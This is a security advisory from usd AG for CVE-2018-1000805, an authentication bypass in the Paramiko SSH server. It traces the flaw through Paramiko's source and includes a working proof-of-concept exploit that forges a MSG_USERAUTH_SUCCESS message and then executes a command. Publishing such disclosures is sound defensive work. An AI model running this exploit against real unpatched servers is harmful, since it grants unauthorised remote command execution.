usd-2018-0023 | Paramiko/2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6

Advisory ID: 2018-0023
CVE number: CVE-2018-1000805
Affected Product: Paramiko
Affected Version: 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6
Vulnerability Type: Authentication Bypass
Security Risk: Critical
Vendor URL: https://www.paramiko.org/
Vendor Status: Fixed according to vendor in version 2.0.x and up

Description

The authentication process within the Paramiko SSH server can by bypassed by sending a MSG_USERAUTH_SUCCESS message to the server. An attacker who exploits this vulnerability can gain remote code execution.

Description based on most recent commit
https://github.com/paramiko/paramiko/tree/677166b4411e86029226f3d093701fb3b999a082

The server identifies each message by an ID (`ptype`). If the ID exists in the transport._handler_table, the server checks if the connection is authenticated (transport.py:2003)

if ptype in self._handler_table:
error_msg = self._ensure_authed(ptype, m)
if error_msg:
self._send_message(error_msg)
else:
self._handler_table[ptype](self, m)

The function `self._ensure_authed` returns `None` if the user is authenticated (transport.py:1716)

if (
not self.server_mode or
ptype <= HIGHEST_USERAUTH_MESSAGE_ID or
self.is_authenticated()
):
return None

If the ID does not exist in the transport._handler_table, the auth_handler._handler_table is checked and the corresponding method is called (transport.py:2029)

elif (
self.auth_handler is not None
and ptype in self.auth_handler._handler_table
):
handler = self.auth_handler._handler_table[ptype]
handler(self.auth_handler, m)
if len(self._expected_packet) > 0:
continue

By default, the auth_handler adds MSG_USERAUTH_SUCCESS to the _handler_table (auth_handler.py:606)

_handler_table = {
MSG_SERVICE_REQUEST: _parse_service_request,
MSG_SERVICE_ACCEPT: _parse_service_accept,
MSG_USERAUTH_REQUEST: _parse_userauth_request,
MSG_USERAUTH_SUCCESS: _parse_userauth_success,
MSG_USERAUTH_FAILURE: _parse_userauth_failure,
MSG_USERAUTH_BANNER: _parse_userauth_banner,
MSG_USERAUTH_INFO_REQUEST: _parse_userauth_info_request,
MSG_USERAUTH_INFO_RESPONSE: _parse_userauth_info_response,
}

The function _parse_userauth_success sets the authenticated flag to true (auth_handler.py:541)

def _parse_userauth_success(self, m):
self.transport._log(INFO, 'Authentication (%s) successful!' % self.auth_method)
self.authenticated = True
self.transport._auth_trigger()
if self.auth_event is not None:
self.auth_event.set()

By sending a MSG_USERAUTH_SUCCESS message to the server, it’s possible to bypass the auth process.

Proof of Concept

### Example of a Paramiko SSH Server ###

#!/usr/bin/env python

import base64
from binascii import hexlify
import os
import socket
import sys
import threading
import traceback

import paramiko
from paramiko.py3compat import b, u, decodebytes

# setup logging
paramiko.util.log_to_file("demo_server.log")

host_key = paramiko.RSAKey(filename="test_rsa.key")

class Server(paramiko.ServerInterface):
data = (
b"AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp"
b"fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC"
b"KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT"
b"UWT10hcuO4Ks8="
)
good_pub_key = paramiko.RSAKey(data=decodebytes(data))

def __init__(self):
self.event = threading.Event()

def check_channel_request(self, kind, chanid):
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

def check_auth_password(self, username, password):
if (username == "robey") and (password == "foo"):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED

def check_auth_publickey(self, username, key):
print("Auth attempt with key: " + u(hexlify(key.get_fingerprint())))
if (username == "robey") and (key == self.good_pub_key):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED

def get_allowed_auths(self, username):
return "password,publickey"

def check_channel_exec_request(self, channel, command):
print("---SHOULD ONLY BE CALLABLE IF CLIENT IS AUTHED---")
self.event.set()
return True

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("", 2200))
except Exception as e:
print("*** Bind failed: " + str(e))
traceback.print_exc()
sys.exit(1)

try:
sock.listen(100)
print("Listening for connection ...")
client, addr = sock.accept()
except Exception as e:
print("*** Listen/accept failed: " + str(e))
traceback.print_exc()
sys.exit(1)

print("Got a connection!")

try:
t = paramiko.Transport(client)
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException:
print("*** SSH negotiation failed.")
sys.exit(1)

# wait for auth
chan = t.accept(20)
if chan is None:
print("*** No channel.")
sys.exit(1)
print("Authenticated!")

server.event.wait(10)

chan.close()

except Exception as e:
print("*** Caught exception: " + str(e.__class__) + ": " + str(e))
traceback.print_exc()
try:
t.close()
except:
pass
sys.exit(1)

### Exploit ###

from paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE

import paramiko

port = 2200
hostname = '127.0.0.1'
username = ''
password = ''

client = paramiko.SSHClient()

#enable warning policy to allow connections to all servers
client.set_missing_host_key_policy(paramiko.WarningPolicy())

#overwrite auth method to skip the auth process
client._auth = lambda *args, **kwargs: None
client.connect(hostname, port, username, password)

#craft MSG_USERAUTH_SUCCESS message
m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_SUCCESS)
client._transport._send_message(m)
client.exec_command('yes')
client.close()

Fix

Probably the message USERAUTH_SUCCESS is client specific and the callback should not be added to the auth_handler._handler_table in server mode.

Timeline

  • 2018-08-31 notified jeff@bitprophet.org
  • 2018-09-20 issue has been fixed according to https://github.com/paramiko/paramiko/issues/1283 and patch will be released in 2.0.x and up
  • 2018-11-19 Security advisory released

Credits

This security vulnerability was found by Daniel Hoffmann of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.